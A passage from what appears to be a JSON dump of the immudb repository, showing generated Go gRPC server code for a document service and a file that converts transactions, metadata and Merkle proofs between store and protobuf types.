compatibility\ntype DocumentServiceServer interface {\n\tCreateCollection(context.Context, *CreateCollectionRequest) (*CreateCollectionResponse, error)\n\tGetCollections(context.Context, *GetCollectionsRequest) (*GetCollectionsResponse, error)\n\tGetCollection(context.Context, *GetCollectionRequest) (*GetCollectionResponse, error)\n\tUpdateCollection(context.Context, *UpdateCollectionRequest) (*UpdateCollectionResponse, error)\n\tDeleteCollection(context.Context, *DeleteCollectionRequest) (*DeleteCollectionResponse, error)\n\tAddField(context.Context, *AddFieldRequest) (*AddFieldResponse, error)\n\tRemoveField(context.Context, *RemoveFieldRequest) (*RemoveFieldResponse, error)\n\tCreateIndex(context.Context, *CreateIndexRequest) (*CreateIndexResponse, error)\n\tDeleteIndex(context.Context, *DeleteIndexRequest) (*DeleteIndexResponse, error)\n\tInsertDocuments(context.Context, *InsertDocumentsRequest) (*InsertDocumentsResponse, error)\n\tReplaceDocuments(context.Context, *ReplaceDocumentsRequest) (*ReplaceDocumentsResponse, error)\n\tDeleteDocuments(context.Context, *DeleteDocumentsRequest) (*DeleteDocumentsResponse, error)\n\tSearchDocuments(context.Context, *SearchDocumentsRequest) (*SearchDocumentsResponse, error)\n\tCountDocuments(context.Context, *CountDocumentsRequest) (*CountDocumentsResponse, error)\n\tAuditDocument(context.Context, *AuditDocumentRequest) (*AuditDocumentResponse, error)\n\tProofDocument(context.Context, *ProofDocumentRequest) (*ProofDocumentResponse, error)\n}\n\n// UnimplementedDocumentServiceServer should be embedded to have forward compatible implementations.\ntype UnimplementedDocumentServiceServer struct {\n}\n\nfunc (UnimplementedDocumentServiceServer) CreateCollection(context.Context, *CreateCollectionRequest) (*CreateCollectionResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method CreateCollection not implemented\")\n}\nfunc (UnimplementedDocumentServiceServer) GetCollections(context.Context, *GetCollectionsRequest) (*GetCollectionsResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method GetCollections not implemented\")\n}\nfunc (UnimplementedDocumentServiceServer) GetCollection(context.Context, *GetCollectionRequest) (*GetCollectionResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method GetCollection not implemented\")\n}\nfunc (UnimplementedDocumentServiceServer) UpdateCollection(context.Context, *UpdateCollectionRequest) (*UpdateCollectionResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method UpdateCollection not implemented\")\n}\nfunc (UnimplementedDocumentServiceServer) DeleteCollection(context.Context, *DeleteCollectionRequest) (*DeleteCollectionResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method DeleteCollection not implemented\")\n}\nfunc (UnimplementedDocumentServiceServer) AddField(context.Context, *AddFieldRequest) (*AddFieldResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method AddField not implemented\")\n}\nfunc (UnimplementedDocumentServiceServer) RemoveField(context.Context, *RemoveFieldRequest) (*RemoveFieldResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method RemoveField not implemented\")\n}\nfunc (UnimplementedDocumentServiceServer) CreateIndex(context.Context, *CreateIndexRequest) (*CreateIndexResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method CreateIndex not implemented\")\n}\nfunc (UnimplementedDocumentServiceServer) DeleteIndex(context.Context, *DeleteIndexRequest) (*DeleteIndexResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method DeleteIndex not implemented\")\n}\nfunc (UnimplementedDocumentServiceServer) InsertDocuments(context.Context, *InsertDocumentsRequest) (*InsertDocumentsResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method InsertDocuments not implemented\")\n}\nfunc (UnimplementedDocumentServiceServer) ReplaceDocuments(context.Context, *ReplaceDocumentsRequest) (*ReplaceDocumentsResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method ReplaceDocuments not implemented\")\n}\nfunc (UnimplementedDocumentServiceServer) DeleteDocuments(context.Context, *DeleteDocumentsRequest) (*DeleteDocumentsResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method DeleteDocuments not implemented\")\n}\nfunc (UnimplementedDocumentServiceServer) SearchDocuments(context.Context, *SearchDocumentsRequest) (*SearchDocumentsResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method SearchDocuments not implemented\")\n}\nfunc (UnimplementedDocumentServiceServer) CountDocuments(context.Context, *CountDocumentsRequest) (*CountDocumentsResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method CountDocuments not implemented\")\n}\nfunc (UnimplementedDocumentServiceServer) AuditDocument(context.Context, *AuditDocumentRequest) (*AuditDocumentResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method AuditDocument not implemented\")\n}\nfunc (UnimplementedDocumentServiceServer) ProofDocument(context.Context, *ProofDocumentRequest) (*ProofDocumentResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method ProofDocument not implemented\")\n}\n\n// UnsafeDocumentServiceServer may be embedded to opt out of forward compatibility for this service.\n// Use of this interface is not recommended, as added methods to DocumentServiceServer will\n// result in compilation errors.\ntype UnsafeDocumentServiceServer interface {\n\tmustEmbedUnimplementedDocumentServiceServer()\n}\n\nfunc RegisterDocumentServiceServer(s grpc.ServiceRegistrar, srv DocumentServiceServer) {\n\ts.RegisterService(&DocumentService_ServiceDesc, srv)\n}\n\nfunc _DocumentService_CreateCollection_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(CreateCollectionRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(DocumentServiceServer).CreateCollection(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.model.DocumentService/CreateCollection\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(DocumentServiceServer).CreateCollection(ctx, req.(*CreateCollectionRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _DocumentService_GetCollections_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(GetCollectionsRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(DocumentServiceServer).GetCollections(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.model.DocumentService/GetCollections\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(DocumentServiceServer).GetCollections(ctx, req.(*GetCollectionsRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _DocumentService_GetCollection_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(GetCollectionRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(DocumentServiceServer).GetCollection(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.model.DocumentService/GetCollection\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(DocumentServiceServer).GetCollection(ctx, req.(*GetCollectionRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _DocumentService_UpdateCollection_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(UpdateCollectionRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(DocumentServiceServer).UpdateCollection(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.model.DocumentService/UpdateCollection\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(DocumentServiceServer).UpdateCollection(ctx, req.(*UpdateCollectionRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _DocumentService_DeleteCollection_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(DeleteCollectionRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(DocumentServiceServer).DeleteCollection(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.model.DocumentService/DeleteCollection\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(DocumentServiceServer).DeleteCollection(ctx, req.(*DeleteCollectionRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _DocumentService_AddField_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(AddFieldRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(DocumentServiceServer).AddField(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.model.DocumentService/AddField\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(DocumentServiceServer).AddField(ctx, req.(*AddFieldRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _DocumentService_RemoveField_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(RemoveFieldRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(DocumentServiceServer).RemoveField(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.model.DocumentService/RemoveField\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(DocumentServiceServer).RemoveField(ctx, req.(*RemoveFieldRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _DocumentService_CreateIndex_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(CreateIndexRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(DocumentServiceServer).CreateIndex(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.model.DocumentService/CreateIndex\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(DocumentServiceServer).CreateIndex(ctx, req.(*CreateIndexRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _DocumentService_DeleteIndex_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(DeleteIndexRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(DocumentServiceServer).DeleteIndex(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.model.DocumentService/DeleteIndex\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(DocumentServiceServer).DeleteIndex(ctx, req.(*DeleteIndexRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _DocumentService_InsertDocuments_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(InsertDocumentsRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(DocumentServiceServer).InsertDocuments(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.model.DocumentService/InsertDocuments\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(DocumentServiceServer).InsertDocuments(ctx, req.(*InsertDocumentsRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _DocumentService_ReplaceDocuments_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(ReplaceDocumentsRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(DocumentServiceServer).ReplaceDocuments(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.model.DocumentService/ReplaceDocuments\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(DocumentServiceServer).ReplaceDocuments(ctx, req.(*ReplaceDocumentsRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _DocumentService_DeleteDocuments_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(DeleteDocumentsRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(DocumentServiceServer).DeleteDocuments(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.model.DocumentService/DeleteDocuments\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(DocumentServiceServer).DeleteDocuments(ctx, req.(*DeleteDocumentsRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _DocumentService_SearchDocuments_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(SearchDocumentsRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(DocumentServiceServer).SearchDocuments(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.model.DocumentService/SearchDocuments\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(DocumentServiceServer).SearchDocuments(ctx, req.(*SearchDocumentsRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _DocumentService_CountDocuments_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(CountDocumentsRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(DocumentServiceServer).CountDocuments(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.model.DocumentService/CountDocuments\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(DocumentServiceServer).CountDocuments(ctx, req.(*CountDocumentsRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _DocumentService_AuditDocument_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(AuditDocumentRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(DocumentServiceServer).AuditDocument(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.model.DocumentService/AuditDocument\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(DocumentServiceServer).AuditDocument(ctx, req.(*AuditDocumentRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _DocumentService_ProofDocument_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(ProofDocumentRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(DocumentServiceServer).ProofDocument(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.model.DocumentService/ProofDocument\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(DocumentServiceServer).ProofDocument(ctx, req.(*ProofDocumentRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\n// DocumentService_ServiceDesc is the grpc.ServiceDesc for DocumentService service.\n// It's only intended for direct use with grpc.RegisterService,\n// and not to be introspected or modified (even as a copy)\nvar DocumentService_ServiceDesc = grpc.ServiceDesc{\n\tServiceName: \"immudb.model.DocumentService\",\n\tHandlerType: (*DocumentServiceServer)(nil),\n\tMethods: []grpc.MethodDesc{\n\t\t{\n\t\t\tMethodName: \"CreateCollection\",\n\t\t\tHandler:    _DocumentService_CreateCollection_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"GetCollections\",\n\t\t\tHandler:    _DocumentService_GetCollections_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"GetCollection\",\n\t\t\tHandler:    _DocumentService_GetCollection_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"UpdateCollection\",\n\t\t\tHandler:    _DocumentService_UpdateCollection_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"DeleteCollection\",\n\t\t\tHandler:    _DocumentService_DeleteCollection_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"AddField\",\n\t\t\tHandler:    _DocumentService_AddField_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"RemoveField\",\n\t\t\tHandler:    _DocumentService_RemoveField_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"CreateIndex\",\n\t\t\tHandler:    _DocumentService_CreateIndex_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"DeleteIndex\",\n\t\t\tHandler:    _DocumentService_DeleteIndex_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"InsertDocuments\",\n\t\t\tHandler:    _DocumentService_InsertDocuments_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"ReplaceDocuments\",\n\t\t\tHandler:    _DocumentService_ReplaceDocuments_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"DeleteDocuments\",\n\t\t\tHandler:    _DocumentService_DeleteDocuments_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"SearchDocuments\",\n\t\t\tHandler:    _DocumentService_SearchDocuments_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"CountDocuments\",\n\t\t\tHandler:    _DocumentService_CountDocuments_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"AuditDocument\",\n\t\t\tHandler:    _DocumentService_AuditDocument_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"ProofDocument\",\n\t\t\tHandler:    _DocumentService_ProofDocument_Handler,\n\t\t},\n\t},\n\tStreams:  []grpc.StreamDesc{},\n\tMetadata: \"documents.proto\",\n}\n"
  },
  {
    "path": "pkg/api/schema/database_protoconv.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage schema\n\nimport (\n\t\"crypto/sha256\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/htree\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n)\n\nfunc TxToProto(tx *store.Tx) *Tx {\n\tentries := make([]*TxEntry, len(tx.Entries()))\n\n\tfor i, e := range tx.Entries() {\n\t\tentries[i] = TxEntryToProto(e)\n\t}\n\n\treturn &Tx{\n\t\tHeader:  TxHeaderToProto(tx.Header()),\n\t\tEntries: entries,\n\t}\n}\n\nfunc TxEntryToProto(e *store.TxEntry) *TxEntry {\n\thValue := e.HVal()\n\n\treturn &TxEntry{\n\t\tKey:      e.Key(),\n\t\tMetadata: KVMetadataToProto(e.Metadata()),\n\t\tHValue:   hValue[:],\n\t\tVLen:     int32(e.VLen()),\n\t}\n}\n\nfunc KVMetadataToProto(md *store.KVMetadata) *KVMetadata {\n\tif md == nil {\n\t\treturn nil\n\t}\n\n\tkvmd := &KVMetadata{\n\t\tDeleted:      md.Deleted(),\n\t\tNonIndexable: md.NonIndexable(),\n\t}\n\n\tif md.IsExpirable() {\n\t\texpTime, _ := md.ExpirationTime()\n\t\tkvmd.Expiration = &Expiration{ExpiresAt: expTime.Unix()}\n\t}\n\n\treturn kvmd\n}\n\nfunc TxFromProto(stx *Tx) *store.Tx {\n\theader := &store.TxHeader{}\n\theader.ID = stx.Header.Id\n\theader.Ts = stx.Header.Ts\n\theader.BlTxID = stx.Header.BlTxId\n\theader.BlRoot = DigestFromProto(stx.Header.BlRoot)\n\theader.PrevAlh = DigestFromProto(stx.Header.PrevAlh)\n\n\theader.Version = int(stx.Header.Version)\n\n\theader.Metadata = TxMetadataFromProto(stx.Header.Metadata)\n\n\tentries := make([]*store.TxEntry, len(stx.Entries))\n\n\theader.NEntries = int(stx.Header.Nentries)\n\theader.Eh = DigestFromProto(stx.Header.EH)\n\n\tfor i, e := range stx.Entries {\n\t\tentries[i] = store.NewTxEntry(e.Key, KVMetadataFromProto(e.Metadata), int(e.VLen), DigestFromProto(e.HValue), 0)\n\t}\n\n\ttx := store.NewTxWithEntries(header, entries)\n\n\ttx.BuildHashTree()\n\n\treturn tx\n}\n\nfunc KVMetadataFromProto(md *KVMetadata) *store.KVMetadata {\n\tif md == nil {\n\t\treturn nil\n\t}\n\n\tkvmd := store.NewKVMetadata()\n\n\tkvmd.AsDeleted(md.Deleted)\n\n\tif md.Expiration != nil {\n\t\tkvmd.ExpiresAt(time.Unix(md.Expiration.ExpiresAt, 0))\n\t}\n\n\tkvmd.AsNonIndexable(md.NonIndexable)\n\n\treturn kvmd\n}\n\nfunc InclusionProofToProto(iproof *htree.InclusionProof) *InclusionProof {\n\treturn &InclusionProof{\n\t\tLeaf:  int32(iproof.Leaf),\n\t\tWidth: int32(iproof.Width),\n\t\tTerms: DigestsToProto(iproof.Terms),\n\t}\n}\n\nfunc InclusionProofFromProto(iproof *InclusionProof) *htree.InclusionProof {\n\treturn &htree.InclusionProof{\n\t\tLeaf:  int(iproof.Leaf),\n\t\tWidth: int(iproof.Width),\n\t\tTerms: DigestsFromProto(iproof.Terms),\n\t}\n}\n\nfunc DualProofToProto(dualProof *store.DualProof) *DualProof {\n\treturn &DualProof{\n\t\tSourceTxHeader:     TxHeaderToProto(dualProof.SourceTxHeader),\n\t\tTargetTxHeader:     TxHeaderToProto(dualProof.TargetTxHeader),\n\t\tInclusionProof:     DigestsToProto(dualProof.InclusionProof),\n\t\tConsistencyProof:   DigestsToProto(dualProof.ConsistencyProof),\n\t\tTargetBlTxAlh:      dualProof.TargetBlTxAlh[:],\n\t\tLastInclusionProof: DigestsToProto(dualProof.LastInclusionProof),\n\t\tLinearProof:        LinearProofToProto(dualProof.LinearProof),\n\t\tLinearAdvanceProof: LinearAdvanceProofToProto(dualProof.LinearAdvanceProof),\n\t}\n}\n\nfunc DualProofV2ToProto(dualProof *store.DualProofV2) *DualProofV2 {\n\treturn &DualProofV2{\n\t\tSourceTxHeader:   TxHeaderToProto(dualProof.SourceTxHeader),\n\t\tTargetTxHeader:   TxHeaderToProto(dualProof.TargetTxHeader),\n\t\tInclusionProof:   DigestsToProto(dualProof.InclusionProof),\n\t\tConsistencyProof: DigestsToProto(dualProof.ConsistencyProof),\n\t}\n}\n\nfunc TxHeaderToProto(hdr *store.TxHeader) *TxHeader {\n\tif hdr == nil {\n\t\treturn nil\n\t}\n\n\treturn &TxHeader{\n\t\tId:       hdr.ID,\n\t\tPrevAlh:  hdr.PrevAlh[:],\n\t\tTs:       hdr.Ts,\n\t\tVersion:  int32(hdr.Version),\n\t\tMetadata: TxMetadataToProto(hdr.Metadata),\n\t\tNentries: int32(hdr.NEntries),\n\t\tEH:       hdr.Eh[:],\n\t\tBlTxId:   hdr.BlTxID,\n\t\tBlRoot:   hdr.BlRoot[:],\n\t}\n}\n\nfunc TxMetadataToProto(md *store.TxMetadata) *TxMetadata {\n\tif md == nil {\n\t\treturn nil\n\t}\n\n\ttxmd := &TxMetadata{}\n\tif md.HasTruncatedTxID() {\n\t\ttxID, _ := md.GetTruncatedTxID()\n\t\ttxmd.TruncatedTxID = txID\n\t}\n\n\ttxmd.Extra = md.Extra()\n\n\treturn txmd\n}\n\nfunc LinearProofToProto(linearProof *store.LinearProof) *LinearProof {\n\treturn &LinearProof{\n\t\tSourceTxId: linearProof.SourceTxID,\n\t\tTargetTxId: linearProof.TargetTxID,\n\t\tTerms:      DigestsToProto(linearProof.Terms),\n\t}\n}\n\nfunc LinearAdvanceProofToProto(proof *store.LinearAdvanceProof) *LinearAdvanceProof {\n\tif proof == nil {\n\t\treturn nil\n\t}\n\n\tinclusionProofs := make([]*InclusionProof, len(proof.InclusionProofs))\n\tfor i, p := range proof.InclusionProofs {\n\t\tinclusionProofs[i] = &InclusionProof{\n\t\t\tTerms: DigestsToProto(p),\n\t\t}\n\t}\n\n\treturn &LinearAdvanceProof{\n\t\tLinearProofTerms: DigestsToProto(proof.LinearProofTerms),\n\t\tInclusionProofs:  inclusionProofs,\n\t}\n}\n\nfunc DualProofFromProto(dproof *DualProof) *store.DualProof {\n\treturn &store.DualProof{\n\t\tSourceTxHeader:     TxHeaderFromProto(dproof.SourceTxHeader),\n\t\tTargetTxHeader:     TxHeaderFromProto(dproof.TargetTxHeader),\n\t\tInclusionProof:     DigestsFromProto(dproof.InclusionProof),\n\t\tConsistencyProof:   DigestsFromProto(dproof.ConsistencyProof),\n\t\tTargetBlTxAlh:      DigestFromProto(dproof.TargetBlTxAlh),\n\t\tLastInclusionProof: DigestsFromProto(dproof.LastInclusionProof),\n\t\tLinearProof:        LinearProofFromProto(dproof.LinearProof),\n\t\tLinearAdvanceProof: LinearAdvanceProofFromProto(dproof.LinearAdvanceProof),\n\t}\n}\n\nfunc DualProofV2FromProto(dproof *DualProofV2) *store.DualProofV2 {\n\treturn &store.DualProofV2{\n\t\tSourceTxHeader:   TxHeaderFromProto(dproof.SourceTxHeader),\n\t\tTargetTxHeader:   TxHeaderFromProto(dproof.TargetTxHeader),\n\t\tInclusionProof:   DigestsFromProto(dproof.InclusionProof),\n\t\tConsistencyProof: DigestsFromProto(dproof.ConsistencyProof),\n\t}\n}\n\nfunc TxHeaderFromProto(hdr *TxHeader) *store.TxHeader {\n\treturn &store.TxHeader{\n\t\tID:       hdr.Id,\n\t\tPrevAlh:  DigestFromProto(hdr.PrevAlh),\n\t\tTs:       hdr.Ts,\n\t\tVersion:  int(hdr.Version),\n\t\tMetadata: TxMetadataFromProto(hdr.Metadata),\n\t\tNEntries: int(hdr.Nentries),\n\t\tEh:       DigestFromProto(hdr.EH),\n\t\tBlTxID:   hdr.BlTxId,\n\t\tBlRoot:   DigestFromProto(hdr.BlRoot),\n\t}\n}\n\nfunc TxMetadataFromProto(md *TxMetadata) *store.TxMetadata {\n\tif md == nil {\n\t\treturn nil\n\t}\n\n\ttxmd := store.NewTxMetadata()\n\tif md.TruncatedTxID > 0 {\n\t\ttxmd.WithTruncatedTxID(md.TruncatedTxID)\n\t}\n\n\ttxmd.WithExtra(md.Extra)\n\n\treturn txmd\n}\n\nfunc LinearProofFromProto(lproof *LinearProof) *store.LinearProof {\n\treturn &store.LinearProof{\n\t\tSourceTxID: lproof.SourceTxId,\n\t\tTargetTxID: lproof.TargetTxId,\n\t\tTerms:      DigestsFromProto(lproof.Terms),\n\t}\n}\n\nfunc LinearAdvanceProofFromProto(laproof *LinearAdvanceProof) *store.LinearAdvanceProof {\n\tif laproof == nil {\n\t\treturn nil\n\t}\n\n\tinclusionProofs := make([][][sha256.Size]byte, len(laproof.InclusionProofs))\n\tfor i, proof := range laproof.InclusionProofs {\n\t\tinclusionProofs[i] = DigestsFromProto(proof.Terms)\n\t}\n\n\treturn &store.LinearAdvanceProof{\n\t\tLinearProofTerms: DigestsFromProto(laproof.LinearProofTerms),\n\t\tInclusionProofs:  inclusionProofs,\n\t}\n}\n\nfunc DigestsToProto(terms [][sha256.Size]byte) [][]byte {\n\tslicedTerms := make([][]byte, len(terms))\n\n\tfor i, t := range terms {\n\t\tslicedTerms[i] = make([]byte, sha256.Size)\n\t\tcopy(slicedTerms[i], t[:])\n\t}\n\n\treturn slicedTerms\n}\n\nfunc DigestFromProto(slicedDigest []byte) [sha256.Size]byte {\n\tvar d [sha256.Size]byte\n\tcopy(d[:], slicedDigest)\n\treturn 